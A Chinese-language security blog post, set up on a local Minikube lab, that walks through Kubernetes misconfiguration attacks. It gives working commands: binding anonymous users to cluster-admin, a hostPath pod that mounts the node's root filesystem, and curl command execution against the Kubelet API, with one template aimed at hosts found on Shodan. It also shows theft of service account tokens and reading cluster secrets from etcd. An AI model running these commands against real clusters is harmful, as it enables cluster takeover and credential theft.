0x00 前言
在上一篇文章中介绍了容器相关的风险,本文将目光集中在容器编排平台 K8s 上面,来简单的介绍一下关于 K8s 平台本身因为配置等因素从而造成的安全风险
本文采用的环境是 Minikube 相关安装可在官方文档中进行查阅,所以本文不做过多赘述
MiniKube 安装:https://developer.aliyun.com/article/221687
minikube start --driver=virtualbox
0x01 配置不当产生的风险
Api Server 服务未授权
官方文档可以看这里
Api Server
Api Server 是 K8s 的神经中枢,在 K8s 中消息都是通过 Api Server 来进行传输,K8s 中所有组件都是通过 Api Server 来进行相互连接的,组件和组件之间都是通过 Api Server 来相互依赖
未授权访问
默认情况下 Api Server 在 8080 和 6443 两个端口上提供服务
官方文档的介绍如下
- 本地主机端口 8080
提供的是 HTTP 服务,同时没有设置认证和授权模块(默认不开启)
- 安全端口 6443
提供的是 HTTPS 服务,到达的请求必须通过认证和授权才能被成功处理
直接访问发现 403 Forbidden
ps:我这里因为是minikube所以默认端口为 8443
需要通过认证/授权才可进行访问,可以看到带上了证书就可以了
如果运维/管理员错误的将 8080 端口进行开放并暴露在互联网上,或者直接将用户组错误绑定,那么攻击者可以绕过认证/授权模块直接接管/控制整个集群
在尝试之后 K8s 现在已经把这个给废弃掉了,我们无法通过参数来开启服务并且会在 v1.24 进行删除
还有一种情况就是运维人员配置不当,将"system:anonymous"用户绑定到"cluster-admin"用户组,从而使6443 端口允许匿名用户以管理员权限向集群内部下发指令
kubectl create clusterrolebinding system:anonymous --clusterrole=cluster-admin --user=system:anonymous
把本机文件挂载到 /host-escape-door 中
apiVersion: v1
kind: Pod
metadata:
name: attacker
spec:
containers:
- name: ubuntu
image: ubuntu:latest
imagePullPolicy: IfNotPresent
command: [ "/bin/bash", "-c", "--" ]
args: [ "while true; do sleep 30; done;" ]
volumeMounts:
- name: escape-host
mountPath: /host-escape-door
volumes:
- name: escape-host
hostPath:
path: /
通过 -s 参数直接操控 K8s 集群,创建我们的恶意 Pod
ps:我这里是minikube所以默认端口不一样
// 创建容器
kubectl -s https://192.168.59.101:8443/ apply -f /Users/kpli0rn/Desktop/CloudSecurity/CloudNative/pods/escape.yml
// 执行命令
kubectl -s https://192.168.59.101:8443/ exec attacker -- ls
Kubernetes Dashboard 未授权
Kubernetes Dashboard
Kubernetes Dashboard 在配置不当情况下有可能会产生未授权访问的情况,从而有可能进一步造成接管集群等影响,至此 Kubernetes 官方提供了可靠的 dashboard 配置文件
kubectl apply -f https://raw.githubusercontent.com/kubernetes/dashboard/v2.5.0/aio/deploy/recommended.yaml
然后利用如下命令来打开 dashboard (默认端口 8001)
kubectl proxy
错误配置导致利用
如果是官方的配置的话默认登陆是需要输入 Token 的(且没有跳过按钮)
但是如果在配置参数中添加了如下参数,那么在登陆的过程中就可以进行跳过 Token 输入环节
- --enable-skip-login
如下图我们可以通过点击跳过进入到我们的 dashboard(还有一种就是直接是 dashboard )
但是实际上是无法进行操作的
如果我们能对 dashboard 进行操作那么我们可以直接创建 Pod/Cron Job 来实现逃逸/权限维持等操作(当然可利用点远远不止这些)
ps:泪目了之前碰到过这个界面但是那时候一窍不通也不敢乱操作所以错过了一个 shell 心痛!
Kubelet Api 未授权
Kubelet
Kubelet 是节点代理(Api 默认端口 10250),运行在集群的每个节点上,负责向 API Server 注册所在的节点
Kubelet 的配置文件是 /var/lib/kubelet/config.yaml
kubelet 是真正去运行 Pod 的组件,可以通过调用 API 来改变集群状态。例如启动和停止 Pod
既然 Kubelet 这么重要,那么如果存在未授权访问的问题,攻击者就可以向某个节点的 Kubelet 下发命令从而控制当前的所有的 Pod 有可能进一步控制整个集群
通过 minikube ssh
进入 minikube 节点,可看到 kubelet 对应的配置文件
第一个红框设置了匿名用户禁止访问,第二个红框需要 Kubelet 通过 Api Server 进行授权(这样即使匿名用户能够访问也不具备任何权限)
所以在正常情况下,通过访问 https://192.168.59.101:10250/pods
地址会显示没有权限
通过修改 config.yml 模拟配置不当情况并重启 kubelet (systemctl restart kubelet),可以看到可正常访问 pods
命令执行
可通过如下请求对指定 pod 进行利用
curl -XPOST -k https://IP-from-Shodan:10250/run/<namespace>/<PodName>/<containerName> -d "cmd=<command-to-run>"
凭证窃取
一个 pod 与一个服务账户相关联,该服务账户的凭证(token)被放入该pod中每个容器的文件系统树,在 /var/run/secrets/kubernetes.io/serviceaccount/token
如果服务账号(Service account )绑定了 cluster-admin (即集群的 admin 权限我们可以对所有namespace下实例进行操作) ,那么我们就可以通过 token 来进行一系列的操作
curl -XPOST -k https://192.168.59.102:10250/run/default/attacker/ubuntu -d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token"
ETCD 未授权
ETCD
etcd 是兼具一致性和高可用性的键值数据库,可以作为保存 Kubernetes 所有集群数据的后台数据库。
etcd 默认情况下需要授权才能访问,所以当我们直接进行访问的时候是会有如下报错显示,我们需要带上证书来进行认证
K8s 证书的位置通常在如下这三个地方,由于我这里是minikube所以位置略有不同
export ETCDCTL_CERT=/etc/kubernetes/pki/etcd/peer.crt
export ETCDCTL_CACERT=/etc/kubernetes/pki/etcd/ca.crt
export ETCDCTL_KEY=/etc/kubernetes/pki/etcd/peer.key
带上证书之后进行访问,可以通过如下方式查看 K8s 的 secrets
kubectl exec -it \
-n kube-system etcd-minikube \
-- sh -c 'ETCDCTL_CACERT=/var/lib/minikube/certs/etcd/ca.crt \
ETCDCTL_CERT=/var/lib/minikube/certs/etcd/peer.crt \
ETCDCTL_KEY=/var/lib/minikube/certs/etcd/peer.key \
ETCDCTL_API=3 \
etcdctl \
get \
--keys-only \
--prefix=true \
"/" ' | grep /secrets/kube-system/clusterrole
etcdctl get --keys-only --prefix=true "/" | grep /secrets/kube-system/clusterrole
最后获取 token ,并通过 token 与 K8s 的 Api Server 交互从而控制整个集群
etcdctl get /registry/secrets/kube-system/clusterrole-aggregation-controller-token-dwxzd
通过拿到的 token 通过 api server 的校验,进而控制整个集群
未完待续 ....
大木头师傅,我对于API Server未授权那部分的挂载Pod不是很理解:挂载了Pod之后,效果相当于是在Master节点上rce了吗?